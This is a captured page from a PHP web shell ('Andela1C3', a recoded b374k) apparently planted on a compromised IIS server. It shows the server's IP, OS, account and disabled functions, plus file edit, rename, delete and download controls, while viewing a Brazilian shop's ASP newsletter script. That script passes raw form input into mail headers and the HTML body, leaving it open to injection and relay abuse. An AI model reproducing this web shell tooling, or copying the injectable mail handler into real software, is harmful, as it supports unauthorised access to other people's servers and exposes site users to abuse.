Andela1C3 v.3
Andela Yuwono Priv8 Shell

[Special Edition]
 Software : Microsoft-IIS/6.0
System OS : Windows NT HM1024 5.2 build 3790
ID : IUSR_HM1024_229
PHP Version : 5.2.17 on cgi-fcgi
Server ip : 191.252.45.12 | Server Port : 80 | Your ip : 216.73.216.3 | Admin :
Free Disk: 9.34 GB / 39.99 GB
Safemode: OFF
Time On Server : 14 Dec 2025 14:21:30
Disabled Functions: escapeshellarg, escapeshellcmd, exec, passthru, proc_close, proc_open, shell_exec, system, dl, popen, php_check_syntax, php_strip_whitespace, symlink, link, openlog, apache_child_terminate
MySQL: ON | MSSQL: ON | Oracle: OFF | Perl: OFF | cURL: ON | WGet: OFF
[ A ] [ C ] [ D ] [ E ] [ F ]  > E: \ home \ superlisboa \ web \ site \
FilenameE:\home\superlisboa\web\site\envia_newsletter.asp
Size4.86 kb
Permissionrw-rw-rw-
OwnerIUSR_HM1024_229
Create time26-Oct-2016 08:38
Last modified26-Oct-2016 08:38
Last accessed26-Oct-2016 08:38
Actionsedit | rename | delete | download (gzip)
Viewtext | code | image
<style type="text/css">
<!--
body,td,th {
font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 10px;
}
body {
margin-left: 0px;
margin-top: 0px;
margin-right: 0px;
margin-bottom: 0px;
background-image: url();
}
-->
</style>
<link href="../../../fabio/sites revenda/site calzoon/css.css" rel="stylesheet" type="text/css">
<style type="text/css">
<!--
.style1 {font-size: 9}
a {
font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 10px;
color: #000000;
}
a:link {
text-decoration: none;
}
a:visited {
text-decoration: none;
}
a:hover {
text-decoration: underline;
color: #FFFFFF;
}
a:active {
text-decoration: none;
}
-->
</style>
<%
Dim EnviarMail, MsgBody, var_nome, var_cidade, var_email, email, var_fone, var_celular, var_sexo, var_estado, var_data

var_nome = Request.Form("nome")
var_cidade = Request.Form("cidade")
var_email = Request.Form("email")
var_fone = Request.Form("fone")
var_celular = Request.Form("celular")
var_sexo = Request.Form("sexo")
var_estado = Request.Form("estado")
var_data = Request.Form("data")
email = "sac@superlisboa.com.br"

Set EnviarMail = Server.CreateObject("SoftArtisans.SMTPMail")
EnviarMail.ContentType = "text/html"
EnviarMail.RemoteHost = "smtp2.locaweb.com.br"
EnviarMail.AddRecipient email, var_email
EnviarMail.FromName = var_nome
EnviarMail.FromAddress = var_email
EnviarMail.Subject = "Cadastro de Newsletter Site Super Lisboa"
MsgBody = "<html>" _
& "<head>" _
& "</head>" _
& "<style type='text/css'>" _
& "<!--" _
& ".table {" _
& " border: 1px solid #000000;" _
& "}" _
& ".style2 {color: #000000}" _
& "-->" _
& "</style>" _
& " <body> " _
& "<table border='0' align='center' cellpadding='0' class='table' cellspacing='5'> " _
& " <tr> " _
& " <td nowrap colspan='2' align='center'><font size='2' face='verdana'><b>Cadastro Newsletter Site Super Lisboa</b></font></td> " _
& " </tr> " _
& " <tr> " _
& " <td nowrap height='0' colspan='2' bgcolor='#000000'><img src='http://www.donmaximiliano.com.br/images/spacer.gif' width='1' height='1'></td> " _
& " </tr> " _
& " <tr> " _
& " <td width='87' nowrap><span class='style2'><font size='2' face='verdana'>Nome:</font></span></td> " _
& " <td width='425' nowrap><span class='style2'><font size='2' face='verdana'>" & var_nome & "</font></span></td> " _
& " </tr> " _
& " <tr> " _
& " <td width='87' nowrap><span class='style2'><font size='2' face='verdana'>Fone:</font></span></td> " _
& " <td width='425' nowrap><span class='style2'><font size='2' face='verdana'>" & var_fone & "</font></span></td> " _
& " </tr> " _
& " <tr> " _
& " <td width='87' nowrap><span class='style2'><font size='2' face='verdana'>Celular:</font></span></td> " _
& " <td width='425' nowrap><span class='style2'><font size='2' face='verdana'>" & var_celular & "</font></span></td> " _
& " </tr> " _
& " <tr> " _
& " <td nowrap><span class='style2'><font size='2' face='verdana'>Email:</font></span></td> " _
& " <td nowrap><span class='style2'><font size='2' face='verdana'><a href=' mailto:" & var_email & " '>" & var_email & "</a></font></span></td> " _
& " </tr> " _
& " <tr> " _
& " <td width='87' nowrap><span class='style2'><font size='2' face='verdana'>Cidade:</font></span></td> " _
& " <td width='425' nowrap><span class='style2'><font size='2' face='verdana'>" & var_cidade & "</font></span></td> " _
& " </tr> " _
& " <tr> " _
& " <td width='87' nowrap><span class='style2'><font size='2' face='verdana'>Estado:</font></span></td> " _
& " <td width='425' nowrap><span class='style2'><font size='2' face='verdana'>" & var_estado & "</font></span></td> " _
& " </tr> " _
& " <tr> " _
& " <td width='87' nowrap><span class='style2'><font size='2' face='verdana'>Sexo:</font></span></td> " _
& " <td width='425' nowrap><span class='style2'><font size='2' face='verdana'>" & var_sexo & "</font></span></td> " _
& " </tr> " _
& " <tr> " _
& " <td width='87' nowrap><span class='style2'><font size='2' face='verdana'>Data de Nascimento:</font></span></td> " _
& " <td width='425' nowrap><span class='style2'><font size='2' face='verdana'>" & var_data & "</font></span></td> " _
& " </tr> " _
& "</table> " _
& " </font> " _
& " </body> " _
& "</html>"
EnviarMail.BodyText = MsgBody
On Error Resume Next
EnviarMail.SendMail
If Err <>0 Then
Response.Write "<center><font face='verdana' size='2'>Ocorreu um erro: "& Err.Description &". Tente novamente ou entre em contato com o admnistrador do sistema</font></center>"
Else
Response.Write "<script>alert('Sua mensagem foi enviada com sucesso!');</script>"
End If
SET EnviarMail = NOTHING

%>




 


-=[ b374k recoded by Mr.HaurgeulisX196 ]=-

© 2015 Andela1C3 v.3